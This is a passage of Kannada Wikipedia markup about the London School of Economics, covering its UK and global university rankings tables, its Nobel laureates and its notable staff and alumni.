ತತ್ವಗಳಿಗೆ ಹೆಸರಾಗಿದ್ದಾರೆ. ಅವರು ಮತ್ತು ಅವರ ಉತ್ತರಾಧಿಕಾರಿಯಾದ ಇಮರ್ ಲಾಕಟೋಸ್ ಇಬ್ಬರೂ 1960 ರಲ್ಲಿ ವಿಭಾಗಕ್ಕೆ ಸೇರಿದರು ಮತ್ತು 20 ನೇ ಶತಮಾನದ ವಿಜ್ಞಾನ ಮತ್ತು ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನದ ತತ್ವಶಾಸ್ತ್ರಕ್ಕೆ ರೂಪ ನೀಡುವಲ್ಲಿ ಪ್ರಮುಖ ಪಾತ್ರ ವಹಿಸಿದ್ದರು.<ref>{{Cite web |url=http://www.lse.ac.uk/collections/philosophyLogicAndScientificMethod/aboutTheDepartment.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2009-08-07 |archive-url=https://web.archive.org/web/20090807012240/http://www.lse.ac.uk/collections/philosophyLogicAndScientificMethod/aboutTheDepartment.htm |url-status=dead }}</ref> 2009 ರ ಫಿಲಾಸೋಫಿಕಲ್ ಗೌರ್ಮೆಟ್ ವರದಿಯು ವಿಭಾಗವನ್ನು ಸಮಾಜ ವಿಜ್ಞಾನದ ತತ್ವಶಾಸ್ತ್ರದಲ್ಲಿ ವಿಶ್ವದಲ್ಲೇ ಮೊದಲೆಂದು ಶ್ರೇಣಿ ನೀಡಿದೆ.<ref>{{Cite web |url=http://www.philosophicalgourmet.com/breakdown.asp |title=ಫಿಲಾಸಫಿಕಲ್ ಗೌರ್ಮೆಟ್ ವರದಿ 2009 :: ವಿಶೇಷಜ್ಞರಿಂದ ವಿಷಯಕ್ರಮಗಳ ನಾಶ |access-date=2010-10-08 |archive-date=2012-09-06 |archive-url=https://archive.is/20120906101412/http://www.philosophicalgourmet.com/breakdown.asp |url-status=dead }}</ref> ದೇಶೀಯವಾಗಿ, ಯಾವುದೇ ಸುದ್ದಿಪತ್ರವು ಸಂಕಲಿಸಿದ ವರ್ಗದ ಪಟ್ಟಿಯಲ್ಲಿ ಎಂದಿಗೂ ಪ್ರಮುಖ 10 ರ ಹೊರಗೆ ಕಾಣಿಸಿಕೊಳ್ಳದ ಕೇವಲ ನಾಲ್ಕು ಬ್ರಿಟಿಷ್ ಸಂಸ್ಥೆಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಇಂಪೀರಿಯಲ್ ಕಾಲೇಜಿನೊಂದಿಗೆ ಶಾಲೆಯು ಆಗಾಗ್ಗೆ ಆಕ್ಸ್‌ಫರ್ಡ್ ನಂತರ ತಕ್ಷಣದ ಸ್ಥಾನವನ್ನು ಆಕ್ರಮಿಸಿಕೊಂಡಿದೆ, ಆದರೆ 2009 ರಿಂದ, ವಿವಾದಾತ್ಮಕವಾದ ವಿದ್ಯಾರ್ಥಿ ಸಂತೃಪ್ತಿ ಅಂಕಗಳಿಕೆಯಲ್ಲಿ ವಿವಾದಾತ್ಮಕವಾಗಿ ಕೆಳಗಿಳಿಯಿತು. ನಿಜಕ್ಕೂ, ಎಲ್‌ಎಸ್‌ಇಯು ಹತ್ತು ವರ್ಷಗಳ ಅವಧಿಯಲ್ಲಿ (1997-2007) ''ಸಂಡೇ ಟೈಮ್ಸ್ ಯೂನಿವರ್ಸಿಟಿ ಗೈಡ್''' ಸಂಚಿತ ಶ್ರೇಣಿಯಲ್ಲಿ ಒಟ್ಟಾರೆಯಾಗಿ 3 ನೇ ಶ್ರೇಣಿ ಪಡೆಯಿತು, ಆದರೆ 2009 ರ ಟೈಮ್ಸ್ ಗುಡ್ ಯೂನಿವರ್ಸಿಟಿ ಗೈಡ್‌ನಲ್ಲಿ 7 ನೇ ಶ್ರೇಣಿಗೆ ಕುಸಿಯಿತು.<ref name="extras.timesonline.co.uk">{{cite news| url=http://extras.timesonline.co.uk/tol_gug/gooduniversityguide.php | work=The Times | location=London | accessdate=2010-04-04 | first=Roland | last=Watson}}</ref><ref>{{cite news| url=http://www.timesonline.co.uk/tol/life_and_style/education/sunday_times_university_guide/article4773713.ece | work=The Times | location=London | title=Profile London School of Economics and Political Science | date=2009-09-13 | accessdate=2010-04-04}}</ref> ''' '' '''''2009 ರ ಎಲ್ಲಾ ಶ್ರೇಣಿಗಳಲ್ಲಿ ಯಾವುದೇ ಬ್ರಿಟಿಷ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಅತ್ಯುತ್ತಮ 'ಪದವೀಧರ ಪ್ರತೀಕ್ಷೆಗಳು' ಎಂಬುದಾಗಿ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನು ಪರಿಗಣಿಸಲಾಗಿರುವುದರೊಂದಿಗೆ, ಎಲ್‌ಎಸ್‌ಇ ಪದವೀಧರರು ಆಗಾಗ್ಗೆ ಮಾರ್ಗದರ್ಶಿಗಳ 'ಉದ್ಯೋಗ ಪ್ರತೀಕ್ಷೆಗಳಲ್ಲಿ" ಅತ್ಯುತ್ತಮವಾಗಿ ಅಂಕಗಳಿಸುತ್ತಾರೆ.''' '' === ಶ್ರೇಣಿಗಳು === ಗಮನಿಸಿ: ಮೇಲೆ ತಿಳಿಸಿದ ಪ್ರಕಾರವಾಗಿ, ಇತ್ತೀಚಿಗೆನ ಟಿಹೆಚ್‌ಇ/ಕ್ಯೂಎಸ್ ಕೋಷ್ಟಕಗಳು (2009-2007) ನ ಸಂಸ್ಥೆಗಳ ಶ್ರೇಣಿಗಳು ಎಲ್‌ಎಸ್ಇಯಂತಹ ವಿಶೇಷ ಸಂಸ್ಥೆಗಳನ್ನು ನಿಷ್ಪಕ್ಷಪಾತವಾಗಿ ಶ್ರೇಣಿ ಮಾಡಲಿಲ್ಲ ಎಂದು ಎಲ್‌ಎಸ್ಇ ವಾದಿಸಿತು. 2010 ರಲ್ಲಿ ಪ್ರತ್ಯೇಕ ಶ್ರೇಣಿಗಳನ್ನು ನೀಡಲು ಟೈಮ್ಸ್ ಉನ್ನತ ಶಿಕ್ಷಣ ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು ಮತ್ತು ಕ್ಯೂಎಸ್ ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು ಪ್ರತ್ಯೇಕವಾದವು. {| class="wikitable" |+<td>ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು</td> |- ! ಮೌಲ್ಯ ನಿರ್ಣಾಯಕರು ! 2011 ! 2010 ! 2009 ! 2008 ! 2007 ! 2006 ! 2005 ! 2004 ! 2003 ! 2002 ! 2001 ! 2000 ! 1999 ! 1998 |- ! ಟೈಮ್ಸ್ ಗುಡ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಮಾರ್ಗದರ್ಶಿ | 5ನೆಯ | 7<sup>ನೆಯ</sup><ref>{{cite news|url=http://extras.timesonline.co.uk/tol_gug/gooduniversityguide.php|title=The Times Good University Guide|work=[[The Times]]|accessdate=2009-08-21 | location=London | first=Roland | last=Watson}}</ref> | 4<sup>ನೆಯ</sup><ref name="extras.timesonline.co.uk" /> | 4<sup>ನೆಯ</sup><ref>{{cite news |url=http://extras.timesonline.co.uk/gug/gooduniversityguide.php |title=The Times Good University Guide 2008|work=[[The Times]]|accessdate=2007-11-03 | location=London | first=Roland | last=Watson}}</ref> | 4<sup>ನೆಯ</sup><ref>{{cite news |url=http://www.timesonline.co.uk/displayPopup/0,,102571,00.html |title=The Times Good University Guide 2007 - Top Universities 2007 League Table|work=[[The Times]]|accessdate=2007-11-03 | location=London | first=Roland | last=Watson}}</ref> | 4<sup>ನೆಯ</sup><ref>{{cite news |url=http://www.timesonline.co.uk/displayPopup/0,,32607,00.html |title=The Times Top Universities |work=[[The Times]]|accessdate=2007-11-03 | location=London}}</ref> | 4<sup>ನೆಯ</sup><ref>{{cite news |url=http://www.timesonline.co.uk/displayPopup/0,,32607,00.html |title=The Times Top Universities 2005|work=[[The Times]] | location=London | accessdate=2010-04-04}}</ref> | 4ನೆಯ | 4<sup>ನೆಯ</sup> <ref name="www2.lse.ac.uk">http://www2.lse.ac.uk/ERD/2008%2010%2008%20LSE%20and%20league%20tables%202%20-%20full%20table.xls{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> | 5<sup>ನೆಯ</sup> <ref name="www2.lse.ac.uk" /> | 7<sup>ನೆಯ</sup>= <ref name="www2.lse.ac.uk" /> | 8ನೆಯ | 8ನೆಯ | 3<sup>ನೆಯ</sup> |- ! ಗಾರ್ಡಿಯನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಮಾರ್ಗದರ್ಶಿ | 8<sup>ನೆಯ</sup><ref>{{cite news| url=https://www.theguardian.com/education/table/2010/jun/04/university-league-table | location=London | work=The Guardian | title=University guide 2011: University league table | date=2010-06-08}}</ref> | 5<sup>ನೆಯ</sup><ref name="Guardian 2010">{{cite news|url=https://www.theguardian.com/education/table/2009/may/12/university-league-table |title=University guide 2010: University league table |date=21 August 2009 | work=The Guardian | location=London | accessdate=2010-04-04}}</ref> | 3<sup>ನೆಯ</sup><ref name="Guardian 2008">{{cite news |url=http://browse.guardian.co.uk/education?SearchBySubject=&FirstRow=29&SortOrderDirection=&SortOrderColumn=GuardianTeachingScore&Subject=University+ranking&Institution= |title=University ranking by institution |work=[[The Guardian]]|accessdate=2007-10-29 | location=London}}</ref> | 6<sup>ನೆಯ</sup><ref name="Guardian 2008" /> | 3<sup>ನೆಯ</sup> | 3<sup>ನೆಯ</sup><ref name="Guardian 2006">{{cite news |url=http://browse.guardian.co.uk/education/2006?SearchBySubject=&FirstRow=20&SortOrderDirection=&SortOrderColumn=GuardianTeachingScore&Subject=Institution-wide&Institution= |title=University ranking by institution |work=[[The Guardian]]|accessdate=2007-10-29 | location=London}}</ref> | 5<sup>ನೆಯ</sup><ref name="Guardian 2005">{{cite news |url=http://education.guardian.co.uk/universityguide2005/table/0,,-5163901,00.html?chosen=Durham&tariff=0&start=40&index=3&alpha=0 |title=University ranking by institution |work=[[The Guardian]] | location=London | accessdate=2010-04-04}}</ref> | 5<sup>ನೆಯ</sup><ref name="Guardian 2004">{{cite news |url=http://education.guardian.co.uk/universityguide2004/table/0,,1222167,00.html|title=University ranking by institution 2004|work=[[The Guardian]]|accessdate=2009-01-19 | location=London}}</ref> | 3<sup>ನೆಯ</sup><ref name="Guardian 2003">{{cite news |url=http://education.guardian.co.uk/higher/unitable/0,,-4668575,00.html |title=University ranking by institution |work=[[The Guardian]] 2003 (University Guide 2004) | location=London | accessdate=2010-04-04}}</ref> | 3<sup>ನೆಯ</sup><ref name="FT 2002-war" /> | | | | |- ! ಸಂಡೇ ಟೈಮ್ಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಮಾರ್ಗದರ್ಶಿ | 5ನೆಯ | 9<sup>ನೆಯ</sup><ref name="Sunday_times 2010">{{cite news |url=http://extras.timesonline.co.uk/stug/universityguide.php |title=The Sunday Times University League Table |work=[[The Sunday Times]]|accessdate=2008-09-14 | location=London}}</ref> | 4ನೆಯ | 4<sup>ನೆಯ</sup><ref name="Sunday_times 2008/09">{{cite news |url=http://extras.timesonline.co.uk/stug/universityguide.php |title=The Sunday Times University League Table |work=[[The Sunday Times]]|accessdate=2008-10-08 | location=London}}</ref> | 3<ref name="timesonline.co.uk">{{cite news| url=http://www.timesonline.co.uk/tol/life_and_style/education/good_university_guide/article2132052.ece | work=The Times | location=London | title=London School of Economics | date=2009-06-01 | accessdate=2010-04-04}}</ref> | 3<sup>ನೆಯ</sup><ref name="Sunday_times 2006/05">{{cite news |url=http://extras.timesonline.co.uk/stug2006/stug2006.pdf |format=PDF|title=The Sunday Times University League Table |work=[[The Sunday Times]]|accessdate=2007-11-03 | location=London}}</ref> | 4 | 4<sup>ನೆಯ</sup><ref name="st10y">{{cite news|url=http://extras.timesonline.co.uk/pdfs/univ07ten.pdf|format=PDF|title=University ranking based on performance over 10 years|publisher=[[Times Online]]|year=2007|accessdate=2008-04-28 | location=London}}</ref> | 3<sup>ನೆಯ</sup><ref name="st10y" /> | 3<sup>ನೆಯ</sup><ref name="st10y" /> | 3<sup>ನೆಯ</sup><ref name="st10y" /> | 3<sup>ನೆಯ</sup><ref name="st10y" /> | 3<sup>ನೆಯ</sup><ref name="st10y" /> | 4<sup>ನೆಯ</sup><ref name="st10y" /> |- ! ಡೈಲಿ ಟೆಲಿಗ್ರಾಫ್ | | | | | 4<sup>ನೆಯ</sup><ref name="Telegraph 2006">{{cite news |url=http://www.telegraph.co.uk/news/main.jhtml;jsessionid=HXFCSGXMNVABTQFIQMFCFGGAVCBQYIV0?xml=/news/2007/07/30/ncambs430.xml |title=University league table |work=[[The Daily Telegraph]] |accessdate=2007-10-29 |location=London |archive-date=2008-01-03 |archive-url=https://web.archive.org/web/20080103180539/http://www.telegraph.co.uk/news/main.jhtml;jsessionid=HXFCSGXMNVABTQFIQMFCFGGAVCBQYIV0?xml=%2Fnews%2F2007%2F07%2F30%2Fncambs430.xml |url-status=dead }}</ref> | | | | | 3<sup>ನೆಯ</sup><ref name="FT 2002-war" /> | | | | |- ! ಎಫ್‌ಟಿ | | | | | | | | | 4<sup>ನೆಯ</sup><ref name="FT 2003">{{cite web|url=http://www.grb.uk.com/448.0.html?cHash=5015838e9d&tx_ttnews%5Btt_news%5D=9&tx_ttnews%5Buid%5D=9 |title=The FT 2003 University ranking |work=[[Financial Times]] 2003}}</ref><ref name="FT 2003-yrk">{{cite web |url=http://www.york.ac.uk/admin/presspr/ft100league.htm |title=The FT 2002 University ranking - From Yourk |work=York Press Release 2003 |access-date=2010-10-08 |archive-date=2016-03-03 |archive-url=https://web.archive.org/web/20160303180003/http://www.york.ac.uk/admin/presspr/ft100league.htm |url-status=dead }}</ref> | 4<sup>ನೆಯ</sup><ref name="FT 2002-war">{{cite web|url=http://www2.warwick.ac.uk/services/academicoffice/ourservices/planning/businessinformation/academicstatistics/2002/table_81.xls |title=The 2002 rankings - From Warwick |work=Warwick Uni 2002}}</ref> | 4<sup>ನೆಯ</sup>=<ref name="FT2001">{{cite web |url=http://specials.ft.com/universities2001/FT3HLLAN6LC.html |title= FT league table 2001 |work=[[Financial Times|FT]] league tables 2001 }}</ref> | 4<sup>ನೆಯ</sup><ref name="FT2000">{{cite web |url=http://specials.ft.com/ln/ftsurveys/industry/pdf/top100table.pdf |format=PDF|title= FT league table 1999-2000 |work=[[Financial Times|FT]] league tables 1999-2000 }}</ref> | 4<sup>ನೆಯ</sup><ref name="FT2000F">{{cite web |url=http://specials.ft.com/ln/ftsurveys/industry/scbbbe.htm |title= FT league table 2000 |work=[[Financial Times|FT]] league tables 2000 }}</ref> | |- !ಸಂಪೂರ್ಣ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಮಾರ್ಗದರ್ಶಿ | 5<sup>ನೆಯ</sup><ref>{{cite web|url= http://www.thecompleteuniversityguide.co.uk/single.htm?ipg=8726 |title=The Complete University Guide 2011|work=[[The Complete University Guide]]}}</ref> | 4<sup>ನೆಯ</sup><ref>{{cite web|url= http://www.thecompleteuniversityguide.co.uk/single.htm?ipg=8726 |title=The Complete University Guide 2010|work=[[The Complete University Guide]]}}</ref> | 3<sup>ನೆಯ</sup>=<ref name="The Independent 2008/09">{{cite news |url=http://www.independent.co.uk/news/education/higher/the-main-league-table-2009-813839.html |title=The Independent University League Table |work=[[The Independent]] | location=London | date=2008-04-24 | accessdate=2010-04-04}}</ref> | 4<sup>ನೆಯ</sup><ref name="The Independent 2008/09" /> | | | | | | | | | | |} {| class="wikitable" |+ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು ! ಮೌಲ್ಯ ನಿರ್ಣಾಯಕರು ! 2010 ! 2009 ! 2008 ! 2007 ! 2006 ! 2005 ! 2004 |- | ಎಫ್‌ಟಿ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ | | 4<sup>ನೆಯ</sup>=<ref name="rankings.ft.com">[http://rankings.ft.com/businessschoolrankings/london-school-of-economics-and-political-science/masters-in-management#masters-in-management ಫೈನಾನ್ಶಿಯನ್ ಟೈಮ್ಸ್‌ನಿಂದ ಬ್ಯುಸಿನೆಸ್ ಶಾಲೆಗಳ ಶ್ರೇಣಿಗಳು]</ref> | 4<sup>ನೆಯ</sup><ref name="rankings.ft.com" /> | 3<sup>ನೆಯ</sup><ref name="rankings.ft.com" /> | 8<sup>ನೆಯ</sup><ref name="rankings.ft.com" /> | 4<sup>ನೆಯ</sup><ref name="rankings.ft.com" /> | |- | ಕ್ಯೂಎಸ್ ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು | 80<sup>ನೆಯ</sup> | 67<sup>ನೆಯ</sup>=<ref>[http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=438 ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್]</ref> | 66<sup>ನೆಯ</sup><ref>[http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=243 ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್]</ref> | 59<sup>ನೆಯ</sup><ref>[http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=144 ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್]</ref> | 17<sup>ನೆಯ</sup><ref>[http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=161 ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್]</ref> | 11<sup>ನೆಯ</sup>=<ref>[http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=175 ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್]</ref> | 11<sup>ನೆಯ</sup>=<ref>[http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=153 ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್]</ref> |- | ಟೈಮ್ಸ್ ಉನ್ನತ ಶಿಕ್ಷಣ ಜಾಗತಿಕ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಶ್ರೇಣಿಗಳು<ref name="World University Rankings">{{cite web |url= http://www.timeshighereducation.co.uk/world-university-rankings/2010-2011/top-200.html |title=World University Rankings|year=2010 |publisher=The Times Higher Educational Supplement |accessdate=2010-09-16}}</ref><ref>{{cite web|url=http://www.topuniversities.com/university-rankings/world-university-rankings/2010/results|title=QS World University Rankings 2010 Results}}</ref> | 86<sup>ನೆಯ</sup> | | | | | | |- | ಕ್ಯೂಎಸ್ ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನ | 4<sup>ನೆಯ</sup><ref name="topuniversities2">{{Cite web |url=http://www.topuniversities.com/university/363/londonschooleconomicspoliticalscience |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2010-09-11 |archive-url=https://web.archive.org/web/20100911082048/http://www.topuniversities.com/university/363/londonschooleconomicspoliticalscience |url-status=dead }}</ref> | 5<sup>ನೆಯ</sup><ref name="topuniversities1">{{Cite web |url=http://www.topuniversities.com/university/363/london-school-of-economics-and-political-science-lse |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2009-10-08 |archive-url=https://web.archive.org/web/20091008155044/http://www.topuniversities.com/university/363/london-school-of-economics-and-political-science-lse |url-status=dead }}</ref> | 4<sup>ನೆಯ</sup><ref name="topuniversities1" /> | 3<sup>ನೆಯ</sup><ref name="topuniversities1" /> | 3<sup>ನೆಯ</sup><ref>{{Cite web |url=http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=167 |title=ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್ |access-date=2010-10-08 |archive-date=2011-05-21 |archive-url=https://web.archive.org/web/20110521202751/http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=167 |url-status=dead }}</ref> | 2<sup>ನೆಯ</sup><ref>{{Cite web |url=http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=181 |title=ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್ |access-date=2010-10-08 |archive-date=2011-05-22 |archive-url=https://web.archive.org/web/20110522034500/http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=181 |url-status=dead }}</ref> | 2<sup>ನೆಯ</sup><ref>{{Cite web |url=http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=143 |title=ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್ |access-date=2010-10-08 |archive-date=2011-01-01 |archive-url=https://web.archive.org/web/20110101094031/http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=143 |url-status=dead }}</ref> |- | ಕ್ಯೂಎಸ್ ಕಲೆ ಮತ್ತು ಮಾನವತೆಗಳು | 33<sup>ನೆಯ</sup><ref name="topuniversities2" /> | 32<sup>ನೆಯ</sup><ref name="topuniversities1" /> | 31<sup>ನೆಯ</sup><ref name="topuniversities1" /> | 26<sup>ನೆಯ</sup><ref name="topuniversities1" /> | 19<sup>ನೆಯ</sup><ref>{{cite news|url=http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=166}}</ref> | 9<sup>ನೆಯ</sup><ref name="timeshighereducation1">{{cite news|url=http://www.timeshighereducation.co.uk/hybrid.asp?typeCode=180}}</ref> | 10<sup>ನೆಯ</sup><ref name="timeshighereducation1" /> |} == ಜನರು == {{ಇದನ್ನೂ ನೋಡಿ|ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್ ಜನರ ಪಟ್ಟಿ}} {| class="wikitable" style="float: right; border: 5px solid #BBB; margin: .96em 0 0 .9em;" |- style="font-size: 86%;"" |+ '''ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್‌ನೊಂದಿಗೆ ಸಂಬಂಧಿಸಿದ ನೊಬೆಲ್ ವಿಜೇತರುಗಳು''' <ref name="LSENobel">{{cite web|title = Nobel Prize winners|url = http://www2.lse.ac.uk/ERD/pressAndInformationOffice/LSEFacts/nobelPrizeWinners/Home.aspx|publisher = London School of Economics|date = 2009-03-17|accessdate = 2009-07-26}}</ref> |'''ವರ್ಷ''' || '''ಸ್ವೀಕೃತರು''' || '''ಪ್ರಶಸ್ತಿ''' |- |1925|| [[ಜಾರ್ಜ್ ಬರ್ನಾರ್ಡ್ ಷಾ|ಜಾರ್ಜ್ ಬರ್ನಾರ್ಡ್ ಶಾ]] || [[ಸಾಹಿತ್ಯದಲ್ಲಿ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ|ಸಾಹಿತ್ಯ]] |- |1950|| ರಾಲ್ಭ್ ಬುಂಚೆ || [[ನೊಬೆಲ್ ಶಾಂತಿ ಪುರಸ್ಕಾರ|ಶಾಂತಿ]] |- |1950|| ಬರ್ಟ್ರಾಂಡ್ ರಸ್ಸೆಲ್ || ಸಾಹಿತ್ಯ |- |1959|| ಫಿಲಿಫ್ ನೋಯಲ್-ಬ್ಯಾಕರ್ || ಶಾಂತಿ |- |1972|| ಸರ್ ಜಾನ್ ಗಿಕ್ಸ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |1974|| ಫ್ರೆಡ್ರಿಕ್ ಹೇಕ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |1977|| ಜೇಮ್ಸ್ ಮೀಡ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |1979|| ಸರ್ ವಿಲಿಯಮ್ ಆರ್ಥರ್ ಲೂಯಿಸ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |1990|| ಮರ್ಟನ್ ಮಿಲ್ಲರ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |1991|| ರೊನಾಲ್ಡ್ ಕೋಸ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |1993|| ಡಗ್ಲಾಸ್ ನಾರ್ತ್ || ಆರ್ಥಿಕ ಇತಿಹಾಸ |- |1998|| [[ಅಮರ್ತ್ಯ ಸೇನ್|ಅಮಾರ್ತ್ಯ ಸೇನ್]] || ಅರ್ಥಶಾಸ್ತ್ರ |- |1999|| ರಾಬರ್ಟ್ ಮುಂಡೆಲ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |2001|| ಜಾರ್ಜ್ ಅಕರ್ಲೋಫ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |2007|| ಲಿಯೋನಿಡ್ ಹರ್ವಿಜ್ || ಅರ್ಥಶಾಸ್ತ್ರ |- |2008|| ಪಾಲ್ ಕ್ರಗ್‌ಮ್ಯಾನ್ || ಅರ್ಥಶಾಸ್ತ್ರ |} ಎಲ್‌ಎಸ್ಇಯು ಶಾಲೆಯು ಹೆಸರಾಂತ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿಗಳು ಮತ್ತು ಸಿಬ್ಬಂದಿಯ ಉದ್ದವಾದ ಪಟ್ಟಿಯನ್ನು ಹೊಂದಿದ್ದು, ಶಾಲೆಯು ನೀಡಿರುವ ಶಿಷ್ಯವೇತನದಿಂದ ಕ್ಷೇತ್ರವನ್ನು ವ್ಯಾಪಿಸಿದ್ದಾರೆ. ಅವರಲ್ಲಿ ಅರ್ಥಶಾಸ್ತ್ರ, [[ನೊಬೆಲ್ ಶಾಂತಿ ಪುರಸ್ಕಾರ|ಶಾಂತಿ]] ಮತ್ತು [[ಸಾಹಿತ್ಯದಲ್ಲಿ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ|ಸಾಹಿತ್ಯ]] ಕ್ಷೇತ್ರಗಳಲ್ಲಿ [[ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ]] ಗೆದ್ದ ಹದಿನೈದು ಜನರಿದ್ದಾರೆ. ಶಾಲೆಯು ಪ್ರಸ್ತುತ 0}ಬ್ರಿಟಿಷ್ ಅಕಾಡೆಮಿಯ 51 ಫೆಲೋಗಳನ್ನು ತನ್ನ ಸಿಬ್ಬಂದಿಯಾಗಿ ಹೊಂದಿದೆ, ಇದರ ಹೆಸರಾಂತ ಮಾಜಿ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರಲ್ಲಿ ಅಂತೋನಿ ಗಿಡ್ಡೆನ್ಸ್, ಹರೋಲ್ಡ್ ಲಸ್ಕಿ, ಎ. ಡಬ್ಲ್ಯೂ. ಫಿಲಿಪ್ಸ್, ಕಾರ್ಲ್ ಪೊಪ್ಪರ್, ಲಯೋನೆಲ್ ರಾಬ್ಬಿನ್ಸ್, ಸುಸಾನ್ ಸ್ಟ್ರೇಂಜ್ ಮತ್ತು ಚಾರ್ಲ್ಸ್ ವೆಬ್‌ಸ್ಟರ್ ಸೇರಿದ್ದಾರೆ. ಮಾಜಿ ಬ್ರಿಟಿಷ್ ಪ್ರಧಾನ ಮಂತ್ರಿ , ಕ್ಲೆಮೆಂಟ್ ಆಟ್ಲಿ ಯವರು 1912 ರಿಂದ 1923 ರವರೆಗೆ ಬೋಧಿಸಿದ್ದರೆ, ರಾಮ್‌ಸೇ ಮ್ಯಾಕ್‌ಡೊನಾಲ್ಡ್ ಅವರು ಫೇಬಿಯನ್ ಸೊಸೈಟಿ ಪರವಾಗಿ ಆಗಾಗ್ಗೆ ಉಪನ್ಯಾಸಗಳನ್ನು ನೀಡಿದರು.<ref name="LSEWorldLeaders">{{cite web|title = World leaders|url = http://www2.lse.ac.uk/ERD/pressAndInformationOffice/LSEFacts/worldLeaders.aspx|publisher = London School of Economics|date = 2009-07-10|accessdate = 2009-07-26|archive-date = 2009-10-18|archive-url = https://web.archive.org/web/20091018093904/http://www2.lse.ac.uk/ERD/pressAndInformationOffice/LSEFacts/worldLeaders.aspx|url-status = dead}}</ref> ಪ್ರಸ್ತುತ ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಗ್ಲೆಂಡ್ ಗವರ್ನರ್ ಆದ ಮರ್ವಿನ್ ಕಿಂಗ್ ಅವರು ಸಹ ಅರ್ಥಶಾಸ್ತ್ರದ ಮಾಜಿ ಪ್ರೊಫೆಸರ್ ಆಗಿದ್ದಾರೆ.<ref name="BankOfEnglandKing">{{cite web|title = Mervyn Allister King, Governor|url = http://www.bankofengland.co.uk/about/people/biographies/king.htm|publisher = Bank of England|month = November|year = 2006|accessdate = 2009-07-26|archive-date = 2010-12-02|archive-url = https://web.archive.org/web/20101202161042/http://www.bankofengland.co.uk/about/people/biographies/king.htm|url-status = dead}}</ref> ಶಾಲೆಯ ಹಲವು ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿ ಗಳು ಪ್ರಮುಖವಾಗಿ ರಾಜಕೀಯ, ಅರ್ಥಶಾಸ್ತ್ರ ಮತ್ತು ಆರ್ಥಿಕ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಹೆಸರಾಂತ ವ್ಯಕ್ತಿಗಳಾಗಿದ್ದಾರೆ. ನಿಜವಾಗಿಯೂ ಫೆಬ್ರವರಿ 2009 ರವರೆಗೆ ರಾಜಕೀಯ ಕ್ಷೇತ್ರಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ, ಸುಮಾರು 34 ಹಿಂದಿನ ಅಥವಾ ಈಗಿನ ರಾಷ್ಟ್ರಗಳ ಮುಖಂಡರು ಎಲ್ಎಸ್‌ಇಯಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಿದ್ದಾರೆ ಇಲ್ಲವೇ ಬೋಧನೆ ಮಾಡಿದ್ದಾರೆ, ಮತ್ತು ಬ್ರಿಟಿಷ್ 